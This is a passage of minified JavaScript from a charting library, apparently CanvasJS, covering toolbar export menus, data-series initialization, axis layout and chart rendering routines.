{"none"!==a._dropdownMenu.style.display||
a._dropDownCloseTime&&500>=(new Date).getTime()-a._dropDownCloseTime.getTime()||
(a._dropdownMenu.style.display="block",a._menuButton.blur(),a._dropdownMenu.focus()
)},this.allDOMEventHandlers,!0),O(this._menuButton,"mouseover",function(){d||
(sa(a,a._menuButton,
{backgroundColor:a.toolbar.backgroundColorOnHover,color:a.toolbar.fontColorOnHover}
),0>=navigator.userAgent.search("MSIE")&&sa(a,a._menuButton.childNodes[0],
{WebkitFilter:"invert(100%)",filter:"invert(100%)"}))},this.allDOMEventHandlers,!
0),
O(this._menuButton,"mouseout",function(){d||(sa(a,a._menuButton,
{backgroundColor:a.toolbar.backgroundColor,color:a.toolbar.fontColor}),0>=navigator
.userAgent.search("MSIE")&&sa(a,a._menuButton.childNodes[0],
{WebkitFilter:"invert(0%)",filter:"invert(0%)"}))},this.allDOMEventHandlers,!
0));if(!this._dropdownMenu&&this.exportEnabled&&r){d=!
1;this._dropdownMenu=document.createElement("div");this._dropdownMenu.setAttribute(
"tabindex",-1);var b=-1!
==this.theme.indexOf("dark")?"black":"#888888";this._dropdownMenu.style.cssText=
"position: absolute; -webkit-user-select: none; -moz-user-select: none; -ms-user-
select: none; user-select: none; cursor: pointer;right: 0px;top: 25px;min-width:
120px;outline: 0;font-size: 14px; font-family: Arial, Helvetica, sans-
serif;padding: 5px 0px 5px 0px;text-align: left;line-height: 10px;background-
color:"+this.toolbar.backgroundColor+";box-shadow: 2px 2px 10px
"+b;a._dropdownMenu.style.display="none";this._toolBar.appendChild(this._dropdownMe
nu);O(this._dropdownMenu,"blur",function(){va(a._dropdownMenu);
a._dropDownCloseTime=new Date},this.allDOMEventHandlers,!
0);b=document.createElement("div");b.style.cssText="padding: 12px 8px 12px
8px";b.innerHTML=this._cultureInfo.printText;b.style.backgroundColor=this.toolbar.b
ackgroundColor;b.style.color=this.toolbar.fontColor;this._dropdownMenu.appendChild(
b);O(b,"touchstart",function(a){d=!
0},this.allDOMEventHandlers);O(b,"mouseover",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColorOnHover,this.style.color=a.too
lbar.fontColorOnHover)},this.allDOMEventHandlers,
!0);O(b,"mouseout",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColor,this.style.color=a.toolbar.fo
ntColor)},this.allDOMEventHandlers,!0);O(b,"click",function()
{a.print();va(a._dropdownMenu)},this.allDOMEventHandlers,!
0);b=document.createElement("div");b.style.cssText="padding: 12px 8px 12px
8px";b.innerHTML=this._cultureInfo.saveJPGText;b.style.backgroundColor=this.toolbar
.backgroundColor;b.style.color=this.toolbar.fontColor;this._dropdownMenu.appendChil
d(b);O(b,"touchstart",function(a){d=
!0},this.allDOMEventHandlers);O(b,"mouseover",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColorOnHover,this.style.color=a.too
lbar.fontColorOnHover)},this.allDOMEventHandlers,!0);O(b,"mouseout",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColor,this.style.color=a.toolbar.fo
ntColor)},this.allDOMEventHandlers,!0);O(b,"click",function()
{Ta(a.canvas,"jpeg",a.exportFileName);va(a._dropdownMenu)},this.allDOMEventHandlers
,!0);b=document.createElement("div");b.style.cssText=
"padding: 12px 8px 12px
8px";b.innerHTML=this._cultureInfo.savePNGText;b.style.backgroundColor=this.toolbar
.backgroundColor;b.style.color=this.toolbar.fontColor;this._dropdownMenu.appendChil
d(b);O(b,"touchstart",function(a){d=!
0},this.allDOMEventHandlers);O(b,"mouseover",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColorOnHover,this.style.color=a.too
lbar.fontColorOnHover)},this.allDOMEventHandlers,!0);O(b,"mouseout",function(){d||
(this.style.backgroundColor=a.toolbar.backgroundColor,
this.style.color=a.toolbar.fontColor)},this.allDOMEventHandlers,!
0);O(b,"click",function()
{Ta(a.canvas,"png",a.exportFileName);va(a._dropdownMenu)},this.allDOMEventHandlers,
!0)}"none"!==this._toolBar.style.display&&this._zoomButton&&(this.panEnabled?
ua(a,a._zoomButton,"zoom"):ua(a,a._zoomButton,"pan"),a._resetButton.getAttribute("s
tate")!
==a._cultureInfo.resetText&&ua(a,a._resetButton,"reset"));this.options.toolTip&&thi
s.toolTip.options!
==this.options.toolTip&&(this.toolTip.options=this.options.toolTip);
for(var c in
this.toolTip.options)this.toolTip.options.hasOwnProperty(c)&&this.toolTip.updateOpt
ion(c)};p.prototype._updateSize=function(){var
a;a=[this.canvas,this.overlaidCanvas,this._eventManager.ghostCanvas];var
d=0,b=0;this.options.width?d=this.width:this.width=d=0<this.container.clientWidth?
this.container.clientWidth:this.width;this.options.height?
b=this.height:this.height=b=0<this.container.clientHeight?
this.container.clientHeight:this.height;if(this.canvas.width!==d*W||
this.canvas.height!==
b*W){for(var c=0;c<a.length;c++)Oa(a[c],d,b);a=!0}else a=!1;return
a};p.prototype._initialize=function(){this.isNavigator=u(this.parent)||
u(this.parent._defaultsKey)||"Navigator"!==this.parent._defaultsKey?!1:!
0;this.toolbar=new Va(this,this.options.toolbar);this._animator?
this._animator.cancelAllAnimations():this._animator=new
ga(this);this.removeAllEventListeners();this.disableToolTip=!
1;this._axes=[];this.funnelPyramidClickHandler=this.pieDoughnutClickHandler=null;th
is._updateOptions();this.animatedRender=
r&&this.animationEnabled&&0===this.renderCount;this._updateSize();this.clearCanvas(
);this.ctx.beginPath();this.axisX=[];this.axisX2=[];this.axisY=[];this.axisY2=[];th
is._indexLabels=[];this._dataInRenderedOrder=[];this._events=[];this._eventManager&
&this._eventManager.reset();this.plotInfo={axisPlacement:null,plotTypes:
[]};this.layoutManager=new Ga(0,0,this.width,this.height,this.isNavigator?
0:2);this.plotArea.layoutManager&&this.plotArea.layoutManager.reset();this.data=[];
var a=0,d=null;if(this.options.data){for(var b=
0;b<this.options.data.length;b++)if(a++,!this.options.data[b].type||
0<=p._supportedChartTypes.indexOf(this.options.data[b].type)){var c=new
F(this,this.options.data[b],a-1,+
+this._eventManager.lastObjectId);"error"===c.type&&(c.linkedDataSeriesIndex=u(this
.options.data[b].linkedDataSeriesIndex)?b-
1:this.options.data[b].linkedDataSeriesIndex,0>c.linkedDataSeriesIndex||
c.linkedDataSeriesIndex>=this.options.data.length||"number"!==typeof
c.linkedDataSeriesIndex||"error"===this.options.data[c.linkedDataSeriesIndex].type)
&&
(c.linkedDataSeriesIndex=null);null===c.name&&(c.name="DataSeries
"+a);null===c.color?1<this.options.data.length?
(c._colorSet=[this._selectedColorSet[c.index
%this._selectedColorSet.length]],c.color=this._selectedColorSet[c.index
%this._selectedColorSet.length]):c._colorSet="line"===c.type||"stepLine"===c.type||
"spline"===c.type||"area"===c.type||"stepArea"===c.type||"splineArea"===c.type||"st
ackedArea"===c.type||"stackedArea100"===c.type||"rangeArea"===c.type||"rangeSplineA
rea"===c.type||"candlestick"===
c.type||"ohlc"===c.type||"waterfall"===c.type||"boxAndWhisker"===c.type?
[this._selectedColorSet[0]]:this._selectedColorSet:c._colorSet=[c.color];null===c.m
arkerSize&&(("line"===c.type||"stepLine"===c.type||"spline"===c.type||
0<=c.type.toLowerCase().indexOf("area"))&&c.dataPoints&&c.dataPoints.length<this.wi
dth/16||"scatter"===c.type)&&(c.markerSize=8);"bubble"!==c.type&&"scatter"!
==c.type||!c.dataPoints||(c.dataPoints.some?c.dataPoints.some(function(a){return
a.x})&&c.dataPoints.sort(h):c.dataPoints.sort(h));
this.data.push(c);var e=c.axisPlacement,d=d||
e,g;"normal"===e?"xySwapped"===this.plotInfo.axisPlacement?g='You cannot combine
"'+c.type+'" with bar chart':"none"===this.plotInfo.axisPlacement?g='You cannot
combine "'+c.type+'" with pie
chart':null===this.plotInfo.axisPlacement&&(this.plotInfo.axisPlacement="normal"):"
xySwapped"===e?"normal"===this.plotInfo.axisPlacement?g='You cannot combine
"'+c.type+'" with line, area, column or pie
chart':"none"===this.plotInfo.axisPlacement?g='You cannot combine "'+
c.type+'" with pie
chart':null===this.plotInfo.axisPlacement&&(this.plotInfo.axisPlacement="xySwapped"
):"none"===e?"normal"===this.plotInfo.axisPlacement?g='You cannot combine
"'+c.type+'" with line, area, column or bar
chart':"xySwapped"===this.plotInfo.axisPlacement?g='You cannot combine "'+c.type+'"
with bar
chart':null===this.plotInfo.axisPlacement&&(this.plotInfo.axisPlacement="none"):nul
l===e&&"none"===this.plotInfo.axisPlacement&&(g='You cannot combine "'+c.type+'"
with pie chart');if(g&&window.console){window.console.log(g);
return}}for(b=0;b<this.data.length;b++)
{if("none"==d&&"error"===this.data[b].type&&window.console){window.console.log('You
cannot combine "'+c.type+'" with error
chart');return}"error"===this.data[b].type&&(this.data[b].axisPlacement=this.plotIn
fo.axisPlacement=d||"normal",this.data[b]._linkedSeries=null===this.data[b].linkedD
ataSeriesIndex?
null:this.data[this.data[b].linkedDataSeriesIndex])}}this._objectsInitialized=!
0;this._plotAreaElements=[]};p._supportedChartTypes=Fa("line stepLine spline column
area stepArea splineArea bar bubble scatter stackedColumn stackedColumn100
stackedBar stackedBar100 stackedArea stackedArea100 candlestick ohlc boxAndWhisker
rangeColumn error rangeBar rangeArea rangeSplineArea pie doughnut funnel pyramid
waterfall".split(" "));
p.prototype.setLayout=function(){for(var
a=this._plotAreaElements,d=0;d<this.data.length;d+
+)if("normal"===this.plotInfo.axisPlacement||"xySwapped"===this.plotInfo.axisPlacem
ent){if(!
this.data[d].axisYType||"primary"===this.data[d].axisYType)if(this.options.axisY&&0
<this.options.axisY.length){if(!this.axisY.length)for(var
b=0;b<this.options.axisY.length;b++)"normal"===this.plotInfo.axisPlacement?
this._axes.push(this.axisY[b]=new
z(this,"axisY",this.options.axisY[b],b,"axisY","left")):"xySwapped"===
this.plotInfo.axisPlacement&&this._axes.push(this.axisY[b]=new
z(this,"axisY",this.options.axisY[b],b,"axisY","bottom"));this.data[d].axisY=this.a
xisY[0<=this.data[d].axisYIndex&&this.data[d].axisYIndex<this.axisY.length?
this.data[d].axisYIndex:0];this.axisY[0<=this.data[d].axisYIndex&&this.data[d].axis
YIndex<this.axisY.length?
this.data[d].axisYIndex:0].dataSeries.push(this.data[d])}else this.axisY.length||
("normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisY[0]=new
z(this,"axisY",this.options.axisY,
0,"axisY","left")):"xySwapped"===this.plotInfo.axisPlacement&&this._axes.push(this.
axisY[0]=new
z(this,"axisY",this.options.axisY,0,"axisY","bottom"))),this.data[d].axisY=this.axi
sY[0],this.axisY[0].dataSeries.push(this.data[d]);if("secondary"===this.data[d].axi
sYType)if(this.options.axisY2&&0<this.options.axisY2.length){if(!
this.axisY2.length)for(b=0;b<this.options.axisY2.length;b+
+)"normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisY2[b]=new
z(this,"axisY2",this.options.axisY2[b],b,
"axisY","right")):"xySwapped"===this.plotInfo.axisPlacement&&this._axes.push(this.a
xisY2[b]=new
z(this,"axisY2",this.options.axisY2[b],b,"axisY","top"));this.data[d].axisY=this.ax
isY2[0<=this.data[d].axisYIndex&&this.data[d].axisYIndex<this.axisY2.length?
this.data[d].axisYIndex:0];this.axisY2[0<=this.data[d].axisYIndex&&this.data[d].axi
sYIndex<this.axisY2.length?
this.data[d].axisYIndex:0].dataSeries.push(this.data[d])}else this.axisY2.length||
("normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisY2[0]=
new
z(this,"axisY2",this.options.axisY2,0,"axisY","right")):"xySwapped"===this.plotInfo
.axisPlacement&&this._axes.push(this.axisY2[0]=new
z(this,"axisY2",this.options.axisY2,0,"axisY","top"))),this.data[d].axisY=this.axis
Y2[0],this.axisY2[0].dataSeries.push(this.data[d]);if(!
this.data[d].axisXType||"primary"===this.data[d].axisXType)if(this.options.axisX&&0
<this.options.axisX.length){if(!
this.axisX.length)for(b=0;b<this.options.axisX.length;b+
+)"normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisX[b]=
new
z(this,"axisX",this.options.axisX[b],b,"axisX","bottom")):"xySwapped"===this.plotIn
fo.axisPlacement&&this._axes.push(this.axisX[b]=new
z(this,"axisX",this.options.axisX[b],b,"axisX","left"));this.data[d].axisX=this.axi
sX[0<=this.data[d].axisXIndex&&this.data[d].axisXIndex<this.axisX.length?
this.data[d].axisXIndex:0];this.axisX[0<=this.data[d].axisXIndex&&this.data[d].axis
XIndex<this.axisX.length?
this.data[d].axisXIndex:0].dataSeries.push(this.data[d])}else this.axisX.length||
("normal"===this.plotInfo.axisPlacement?
this._axes.push(this.axisX[0]=new
z(this,"axisX",this.options.axisX,0,"axisX","bottom")):"xySwapped"===this.plotInfo.
axisPlacement&&this._axes.push(this.axisX[0]=new
z(this,"axisX",this.options.axisX,0,"axisX","left"))),this.data[d].axisX=this.axisX
[0],this.axisX[0].dataSeries.push(this.data[d]);if("secondary"===this.data[d].axisX
Type)if(this.options.axisX2&&0<this.options.axisX2.length){if(!
this.axisX2.length)for(b=0;b<this.options.axisX2.length;b+
+)"normal"===this.plotInfo.axisPlacement?this._axes.push(this.axisX2[b]=
new
z(this,"axisX2",this.options.axisX2[b],b,"axisX","top")):"xySwapped"===this.plotInf
o.axisPlacement&&this._axes.push(this.axisX2[b]=new
z(this,"axisX2",this.options.axisX2[b],b,"axisX","right"));this.data[d].axisX=this.
axisX2[0<=this.data[d].axisXIndex&&this.data[d].axisXIndex<this.axisX2.length?
this.data[d].axisXIndex:0];this.axisX2[0<=this.data[d].axisXIndex&&this.data[d].axi
sXIndex<this.axisX2.length?
this.data[d].axisXIndex:0].dataSeries.push(this.data[d])}else this.axisX2.length||
("normal"===
this.plotInfo.axisPlacement?this._axes.push(this.axisX2[0]=new
z(this,"axisX2",this.options.axisX2,0,"axisX","top")):"xySwapped"===this.plotInfo.a
xisPlacement&&this._axes.push(this.axisX2[0]=new
z(this,"axisX2",this.options.axisX2,0,"axisX","right"))),this.data[d].axisX=this.ax
isX2[0],this.axisX2[0].dataSeries.push(this.data[d])}if(this.axisY)
{for(b=1;b<this.axisY.length;b++)"undefined"===typeof
this.axisY[b].options.gridThickness&&(this.axisY[b].gridThickness=0);for(b=0;b<this
.axisY.length-1;b++)"undefined"===
typeof this.axisY[b].options.margin&&(this.axisY[b].margin=10)}if(this.axisY2)
{for(b=1;b<this.axisY2.length;b++)"undefined"===typeof
this.axisY2[b].options.gridThickness&&(this.axisY2[b].gridThickness=0);for(b=0;b<th
is.axisY2.length-1;b++)"undefined"===typeof
this.axisY2[b].options.margin&&(this.axisY2[b].margin=10)}this.axisY&&0<this.axisY.
length&&(this.axisY2&&0<this.axisY2.length)&&(0<this.axisY[0].gridThickness&&"undef
ined"===typeof this.axisY2[0].options.gridThickness?this.axisY2[0].gridThickness=
0:0<this.axisY2[0].gridThickness&&"undefined"===typeof
this.axisY[0].options.gridThickness&&(this.axisY[0].gridThickness=0));if(this.axisX
)for(b=0;b<this.axisX.length;b++)"undefined"===typeof
this.axisX[b].options.gridThickness&&(this.axisX[b].gridThickness=0);if(this.axisX2
)for(b=0;b<this.axisX2.length;b++)"undefined"===typeof
this.axisX2[b].options.gridThickness&&(this.axisX2[b].gridThickness=0);this.axisX&&
0<this.axisX.length&&(this.axisX2&&0<this.axisX2.length)&&(0<this.axisX[0].gridThic
kness&&
"undefined"===typeof this.axisX2[0].options.gridThickness?
this.axisX2[0].gridThickness=0:0<this.axisX2[0].gridThickness&&"undefined"===typeof
this.axisX[0].options.gridThickness&&(this.axisX[0].gridThickness=0));b=!
1;if(0<this._axes.length&&(this.zoomEnabled||
this.panEnabled))for(d=0;d<this._axes.length;d++)if(null!
==this._axes[d].viewportMinimum||null!==this._axes[d].viewportMaximum){b=!
0;break}b?
(Qa(this._zoomButton,this._resetButton),this._toolBar.style.border=this.toolbar.bor
derThickness+"px solid "+
this.toolbar.borderColor,this._zoomButton.style.borderRight=this.toolbar.borderThic
kness+"px solid
"+this.toolbar.borderColor,this._resetButton.style.borderRight=(this.exportEnabled?
this.toolbar.borderThickness:0)+"px solid "+this.toolbar.borderColor):
(va(this._zoomButton,this._resetButton),this._toolBar.style.border=this.toolbar.bor
derThickness+"px solid transparent",this.options.zoomEnabled&&(this.zoomEnabled=!
0,this.panEnabled=!
1));gb(this);this._processData();this.options.title&&(this.title=new Aa(this,
this.options.title),this.title.dockInsidePlotArea?
a.push(this.title):this.title.setLayout());this.subtitles=[];if(this.options.subtit
les)for(d=0;d<this.options.subtitles.length;d++)b=new
Ka(this,this.options.subtitles[d],d),this.subtitles.push(b),b.dockInsidePlotArea?
a.push(b):b.setLayout();this.legend=new
H(this,this.options.legend);for(d=0;d<this.data.length;d++)
(this.data[d].showInLegend||"pie"===this.data[d].type||"doughnut"===this.data[d].ty
pe||"funnel"===this.data[d].type||"pyramid"===this.data[d].type)&&
this.legend.dataSeries.push(this.data[d]);this.legend.dockInsidePlotArea?
a.push(this.legend):this.legend.setLayout();for(d=0;d<this._axes.length;d+
+)if(this._axes[d].scaleBreaks&&this._axes[d].scaleBreaks._appliedBreaks.length){r?
(this._breaksCanvas=ta(this.width,this.height,!
0),this._breaksCanvasCtx=this._breaksCanvas.getContext("2d")):
(this._breaksCanvas=this.canvas,this._breaksCanvasCtx=this.ctx);break}this._preRend
erCanvas=ta(this.width,this.height);this._preRenderCtx=this._preRenderCanvas.getCon
text("2d");
"normal"!==this.plotInfo.axisPlacement&&"xySwapped"!==this.plotInfo.axisPlacement||
z.setLayout(this.axisX,this.axisX2,this.axisY,this.axisY2,this.plotInfo.axisPlaceme
nt,this.layoutManager.getFreeSpace())};p.prototype.renderElements=function(){var
a=this._plotAreaElements;this.title&&!
this.title.dockInsidePlotArea&&this.title.render();for(var
d=0;d<this.subtitles.length;d++)this.subtitles[d].dockInsidePlotArea||
this.subtitles[d].render();this.legend.dockInsidePlotArea||
this.legend.render();if("normal"===
this.plotInfo.axisPlacement||"xySwapped"===this.plotInfo.axisPlacement)z.render(thi
s.axisX,this.axisX2,this.axisY,this.axisY2,this.plotInfo.axisPlacement);else
if("none"===this.plotInfo.axisPlacement)this.preparePlotArea();else
return;for(d=0;d<a.length;d++)a[d].setLayout(),a[d].render();var
b=[];if(this.animatedRender){var
c=ta(this.width,this.height);c.getContext("2d").drawImage(this.canvas,0,0,this.widt
h,this.height)}hb(this);var
a=this.ctx.miterLimit,e;this.ctx.miterLimit=3;r&&this._breaksCanvas&&
(this._preRenderCtx.drawImage(this.canvas,0,0,this.width,this.height),this._preRend
erCtx.drawImage(this._breaksCanvas,0,0,this.width,this.height),this._breaksCanvasCt
x.globalCompositeOperation="source-
atop",this._breaksCanvasCtx.drawImage(this._preRenderCanvas,0,0,this.width,this.hei
ght),this._preRenderCtx.clearRect(0,0,this.width,this.height));for(d=0;d<this.plotI
nfo.plotTypes.length;d++)for(var
g=this.plotInfo.plotTypes[d],k=0;k<g.plotUnits.length;k++){var
l=g.plotUnits[k],w=null;l.targetCanvas=
null;this.animatedRender&&(l.targetCanvas=ta(this.width,this.height),l.targetCanvas
Ctx=l.targetCanvas.getContext("2d"),e=l.targetCanvasCtx.miterLimit,l.targetCanvasCt
x.miterLimit=3);"line"===l.type?w=this.renderLine(l):"stepLine"===l.type?
w=this.renderStepLine(l):"spline"===l.type?
w=this.renderSpline(l):"column"===l.type?w=this.renderColumn(l):"bar"===l.type?
w=this.renderBar(l):"area"===l.type?w=this.renderArea(l):"stepArea"===l.type?
w=this.renderStepArea(l):"splineArea"===l.type?w=this.renderSplineArea(l):
"stackedColumn"===l.type?w=this.renderStackedColumn(l):"stackedColumn100"===l.type?
w=this.renderStackedColumn100(l):"stackedBar"===l.type?
w=this.renderStackedBar(l):"stackedBar100"===l.type?
w=this.renderStackedBar100(l):"stackedArea"===l.type?
w=this.renderStackedArea(l):"stackedArea100"===l.type?
w=this.renderStackedArea100(l):"bubble"===l.type?
w=w=this.renderBubble(l):"scatter"===l.type?w=this.renderScatter(l):"pie"===l.type?
this.renderPie(l):"doughnut"===l.type?this.renderPie(l):"funnel"===l.type?
w=this.renderFunnel(l):"pyramid"===l.type?
w=this.renderFunnel(l):"candlestick"===l.type?
w=this.renderCandlestick(l):"ohlc"===l.type?
w=this.renderCandlestick(l):"rangeColumn"===l.type?
w=this.renderRangeColumn(l):"error"===l.type?
w=this.renderError(l):"rangeBar"===l.type?
w=this.renderRangeBar(l):"rangeArea"===l.type?
w=this.renderRangeArea(l):"rangeSplineArea"===l.type?
w=this.renderRangeSplineArea(l):"waterfall"===l.type?
w=this.renderWaterfall(l):"boxAndWhisker"===l.type&&(w=this.renderBoxAndWhisker(l))
;
for(var m=0;m<l.dataSeriesIndexes.length;m+
+)this._dataInRenderedOrder.push(this.data[l.dataSeriesIndexes[m]]);this.animatedRe
nder&&(l.targetCanvasCtx.miterLimit=e,w&&b.push(w))}this.ctx.miterLimit=a;this.anim
atedRender&&this._breaksCanvasCtx&&b.push({source:this._breaksCanvasCtx,dest:this.p
lotArea.ctx,animationCallback:M.fadeInAnimation,easingFunction:M.easing.easeInQuad,
animationBase:0,startTimePercent:0.7});this.animatedRender&&0<this._indexLabels.len
gth&&(e=ta(this.width,this.height).getContext("2d"),
b.push(this.renderIndexLabels(e)));var s=this;if(0<b.length)s.disableToolTip=!
0,s._animator.animate(200,s.animationDuration,function(a)
{s.ctx.clearRect(0,0,s.width,s.height);s.ctx.drawImage(c,0,0,Math.floor(s.width*W),
Math.floor(s.height*W),0,0,s.width,s.height);for(var e=0;e<b.length;e+
+)w=b[e],1>a&&"undefined"!==typeof w.startTimePercent?
a>=w.startTimePercent&&w.animationCallback(w.easingFunction(a-
w.startTimePercent,0,1,1-
w.startTimePercent),w):w.animationCallback(w.easingFunction(a,0,1,1),w);
s.dispatchEvent("dataAnimationIterationEnd",{chart:s})},function(){b=[];for(var
a=0;a<s.plotInfo.plotTypes.length;a++)for(var
e=s.plotInfo.plotTypes[a],d=0;d<e.plotUnits.length;d+
+)e.plotUnits[d].targetCanvas=null;c=null;s.disableToolTip=!
1});else{if(s._breaksCanvas)if(r)s.plotArea.ctx.drawImage(s._breaksCanvas,0,0,this.
width,this.height);else for(m=0;m<s._axes.length;m+
+)s._axes[m].createMask();0<s._indexLabels.length&&s.renderIndexLabels();s.dispatch
Event("dataAnimationIterationEnd",{chart:s})}this.attachPlotAreaEventHandlers();
this.zoomEnabled||(this.panEnabled||!
this._zoomButton||"none"===this._zoomButton.style.display)||
va(this._zoomButton,this._resetButton);this.toolTip._updateToolTip();this.renderCou
nt++;Ja&&(s=this,setTimeout(function(){var
a=document.getElementById("ghostCanvasCopy");a&&(Oa(a,s.width,s.height),a.getContex
t("2d").drawImage(s._eventManager.ghostCanvas,0,0))},2E3));this._breaksCanvas&&(del
ete this._breaksCanvas,delete this._breaksCanvasCtx);for(m=0;m<this._axes.length;m+
+)this._axes[m].maskCanvas&&(delete this._axes[m].maskCanvas,
delete this._axes[m].maskCtx)};p.prototype.render=function(a)
{a&&(this.options=a);this._initialize();this.setLayout();this.renderElements();this
._preRenderCanvas=null};p.prototype.attachPlotAreaEventHandlers=function()
{this.attachEvent({context:this,chart:this,mousedown:this._plotAreaMouseDown,mouseu
p:this._plotAreaMouseUp,mousemove:this._plotAreaMouseMove,cursor:this.panEnabled?"m
ove":"default",capture:!
0,bounds:this.plotArea})};p.prototype.categoriseDataSeries=function(){for(var
a="",d=0;d<this.data.length;d++)if(a=
this.data[d],a.dataPoints&&(0!
==a.dataPoints.length&&a.visible)&&0<=p._supportedChartTypes.indexOf(a.type))
{for(var b=null,c=!1,e=null,g=!1,k=0;k<this.plotInfo.plotTypes.length;k+
+)if(this.plotInfo.plotTypes[k].type===a.type){c=!
0;b=this.plotInfo.plotTypes[k];break}c||
(b={type:a.type,totalDataSeries:0,plotUnits:
[]},this.plotInfo.plotTypes.push(b));for(k=0;k<b.plotUnits.length;k+
+)if(b.plotUnits[k].axisYType===a.axisYType&&b.plotUnits[k].axisXType===a.axisXType
&&b.plotUnits[k].axisYIndex===a.axisYIndex&&
b.plotUnits[k].axisXIndex===a.axisXIndex){g=!0;e=b.plotUnits[k];break}g||
(e={type:a.type,previousDataSeriesCount:0,index:b.plotUnits.length,plotType:b,axisX
Type:a.axisXType,axisYType:a.axisYType,axisYIndex:a.axisYIndex,axisXIndex:a.axisXIn
dex,axisY:"primary"===a.axisYType?
this.axisY[0<=a.axisYIndex&&a.axisYIndex<this.axisY.length?
a.axisYIndex:0]:this.axisY2[0<=a.axisYIndex&&a.axisYIndex<this.axisY2.length?
a.axisYIndex:0],axisX:"primary"===a.axisXType?
this.axisX[0<=a.axisXIndex&&a.axisXIndex<this.axisX.length?
a.axisXIndex:0]:this.axisX2[0<=a.axisXIndex&&a.axisXIndex<this.axisX2.length?
a.axisXIndex:0],dataSeriesIndexes:[],yTotals:
[]},b.plotUnits.push(e));b.totalDataSeries+
+;e.dataSeriesIndexes.push(d);a.plotUnit=e}for(d=0;d<this.plotInfo.plotTypes.length
;d++)for(b=this.plotInfo.plotTypes[d],k=a=0;k<b.plotUnits.length;k+
+)b.plotUnits[k].previousDataSeriesCount=a,a+=b.plotUnits[k].dataSeriesIndexes.leng
th};p.prototype.assignIdToDataPoints=function(){for(var a=0;a<this.data.length;a++)
{var d=this.data[a];
if(d.dataPoints)for(var b=d.dataPoints.length,c=0;c<b;c++)d.dataPointIds[c]=+
+this._eventManager.lastObjectId}};p.prototype._processData=function()
{this.assignIdToDataPoints();this.categoriseDataSeries();for(var
a=0;a<this.plotInfo.plotTypes.length;a++)for(var
d=this.plotInfo.plotTypes[a],b=0;b<d.plotUnits.length;b++){var
c=d.plotUnits[b];"line"===c.type||"stepLine"===c.type||"spline"===c.type||"column"=
==c.type||"area"===c.type||"stepArea"===c.type||"splineArea"===c.type||"bar"===c.ty
pe||"bubble"===
c.type||"scatter"===c.type?
this._processMultiseriesPlotUnit(c):"stackedColumn"===c.type||"stackedBar"===c.type
||"stackedArea"===c.type?
this._processStackedPlotUnit(c):"stackedColumn100"===c.type||"stackedBar100"===c.ty
pe||"stackedArea100"===c.type?
this._processStacked100PlotUnit(c):"candlestick"===c.type||"ohlc"===c.type||"rangeC
olumn"===c.type||"rangeBar"===c.type||"rangeArea"===c.type||"rangeSplineArea"===c.t
ype||"error"===c.type||"boxAndWhisker"===c.type?
this._processMultiYPlotUnit(c):"waterfall"===
c.type&&this._processSpecificPlotUnit(c)}this.calculateAutoBreaks()};p.prototype._p
rocessMultiseriesPlotUnit=function(a){if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length))for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=0;k<a.dataSeriesIndexes.length;k+
+){var l=this.data[a.dataSeriesIndexes[k]],w=0,m=!1,s=!
1,q;if("normal"===l.axisPlacement||"xySwapped"===l.axisPlacement)var
n=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&
this.options.axisX.viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
this.options.axisX.minimum:a.axisX.logarithmic?0:-
Infinity,f=a.axisX.sessionVariables.newViewportMaximum?
a.axisX.sessionVariables.newViewportMaximum:this.options.axisX&&this.options.axisX.
viewportMaximum?
this.options.axisX.viewportMaximum:this.options.axisX&&this.options.axisX.maximum?
this.options.axisX.maximum:Infinity;if(l.dataPoints[w].x&&l.dataPoints[w].x.getTime
||"dateTime"===
l.xValueType)g=!0;for(w=0;w<l.dataPoints.length;w++){"undefined"===typeof
l.dataPoints[w].x&&(l.dataPoints[w].x=w+(a.axisX.logarithmic?
1:0));l.dataPoints[w].x.getTime?(g=!
0,c=l.dataPoints[w].x.getTime()):c=l.dataPoints[w].x;e=l.dataPoints[w].y;c<b.min&&(
b.min=c);c>b.max&&(b.max=c);e<d.min&&"number"===typeof
e&&(d.min=e);e>d.max&&"number"===typeof e&&(d.max=e);if(0<w)
{if(a.axisX.logarithmic){var B=c/l.dataPoints[w-1].x;1>B&&(B=1/B);b.minDiff>B&&1!
==B&&(b.minDiff=B)}else B=c-l.dataPoints[w-1].x,0>B&&
(B*=-1),b.minDiff>B&&0!==B&&(b.minDiff=B);null!==e&&null!==l.dataPoints[w-
1].y&&(a.axisY.logarithmic?(B=e/l.dataPoints[w-1].y,1>B&&(B=1/B),d.minDiff>B&&1!
==B&&(d.minDiff=B)):(B=e-l.dataPoints[w-1].y,0>B&&(B*=-1),d.minDiff>B&&0!
==B&&(d.minDiff=B)))}if(c<n&&!m)null!==e&&(q=c);else{if(!m&&(m=!0,0<w)){w-
=2;continue}if(c>f&&!s)s=!0;else
if(c>f&&s)continue;l.dataPoints[w].label&&(a.axisX.labels[c]=l.dataPoints[w].label)
;c<b.viewPortMin&&(b.viewPortMin=c);c>b.viewPortMax&&(b.viewPortMax=c);null===e?
b.viewPortMin===
c&&q<c&&(b.viewPortMin=q):(e<d.viewPortMin&&"number"===typeof
e&&(d.viewPortMin=e),e>d.viewPortMax&&"number"===typeof
e&&(d.viewPortMax=e))}}l.axisX.valueType=l.xValueType=g?"dateTime":"number"}};p.pro
totype._processStackedPlotUnit=function(a){if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length)){for(var
d=a.axisY.dataInfo,b=a.axisX.dataInfo,c,e,g=!1,k=[],l=[],w=Infinity,m=-
Infinity,s=0;s<a.dataSeriesIndexes.length;s++){var
q=this.data[a.dataSeriesIndexes[s]],n=0,f=!1,B=!1,h;if("normal"===q.axisPlacement||
"xySwapped"===q.axisPlacement)var p=a.axisX.sessionVariables.newViewportMinimum?
a.axisX.sessionVariables.newViewportMinimum:this.options.axisX&&this.options.axisX.
viewportMinimum?
this.options.axisX.viewportMinimum:this.options.axisX&&this.options.axisX.minimum?
